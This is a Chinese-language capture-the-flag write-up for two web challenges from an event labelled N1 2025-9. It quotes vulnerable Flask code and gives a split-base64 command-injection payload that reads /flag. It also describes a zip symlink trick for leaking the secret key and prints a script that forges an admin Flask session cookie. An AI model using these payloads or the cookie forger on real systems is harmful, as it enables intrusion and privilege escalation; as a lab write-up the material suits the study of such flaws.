N1 2025-9

1.ping

小小签到题。

源码很简单,核心是在对于输入的ip的过滤:

def run_ping(ip_base64):
    try:
        decoded_ip = base64.b64decode(ip_base64).decode('utf-8')
        if not re.match(r'^\d+\.\d+\.\d+\.\d+$', decoded_ip):
            return False
        if decoded_ip.count('.') != 3:
            return False
        
        if not all(0 <= int(part) < 256 for part in decoded_ip.split('.')):
            return False
        if not ipaddress.ip_address(decoded_ip):
            return False
        if len(decoded_ip) > 15:
            return False
        if not re.match(r'^[A-Za-z0-9+/=]+$', ip_base64):
            return False
    except Exception as e:
        return False
    command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

这里可以看到后端对于输入的ip进行正则匹配,将ip的格式锁死,ip这里是防的很死的,无法下手。

重点关注command = f"""echo "ping -c 1 $(echo '{ip_base64}' | base64 -d)" | sh"""

ip_base64是,先通过Python的base64库解码校验之后,再经过Linux的命令行解码,而在Python中是存在Bug

我就说为什么要解两次码,原来是这样的

base64.b64decode不会对=之后的内容继续解码,从而通过只能是ip格式的校验,而base64 -d会将编码从中间拆开分别解码再拼接,从而可以命令拼接执行,因此我们将两部分拆开即可0.0.0.0 ;cat /flag MC4wLjAuMA== O2NhdCAvZmxhZw==

拿到flag。

2.online_unzipper

看看文件上传部分的代码:

@app.route("/upload", methods=["GET", "POST"])
def upload():
    if "username" not in session:
        return redirect(url_for("login"))

    if request.method == "POST":
        file = request.files["file"]
        if not file:
            return "未选择文件"

        role = session["role"]

        if role == "admin":
            dirname = request.form.get("dirname") or str(uuid.uuid4())
        else:
            dirname = str(uuid.uuid4())

        target_dir = os.path.join(UPLOAD_FOLDER, dirname)
        os.makedirs(target_dir, exist_ok=True)

        zip_path = os.path.join(target_dir, "upload.zip")
        file.save(zip_path)

        try:
            os.system(f"unzip -o {zip_path} -d {target_dir}")
        except:
            return "解压失败,请检查文件格式"

        os.remove(zip_path)
        return f"解压完成!<br>下载地址: <a href='{url_for('download', folder=dirname)}'>{request.host_url}download/{dirname}</a>"

    return render_template("upload.html")

没有任何的waf,因为flag文件被随机命名了,所以需要拿admin对dirname操作执行rce。

Zip Slip 在 Java 生态或 Python zipfile 库中十分好用,但在直接调用系统 unzip 命令的场景下,通常会被操作系统自带的安全机制拦截。所以这里不用zip slip

软链接读取环境变量中的key后伪造session:

from flask.sessions import SecureCookieSessionInterface
from flask import Flask
SECRET_KEY = "test" 
SESSION_DATA = {'username': 'admin', 'role': 'admin'}
def generate_cookie():
    try:
        app = Flask(__name__)
        app.secret_key = SECRET_KEY

        session_interface = SecureCookieSessionInterface()
        serializer = session_interface.get_signing_serializer(app)

        cookie = serializer.dumps(SESSION_DATA)
        print("\n[+] Success! Your Admin Cookie is:\n")
        print(cookie)
        print("\nCopy the string above (without quotes) into your browser's session cookie.\n")
        
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    generate_cookie()

拿到admin后执行rce,重复软链接的操作读取flag。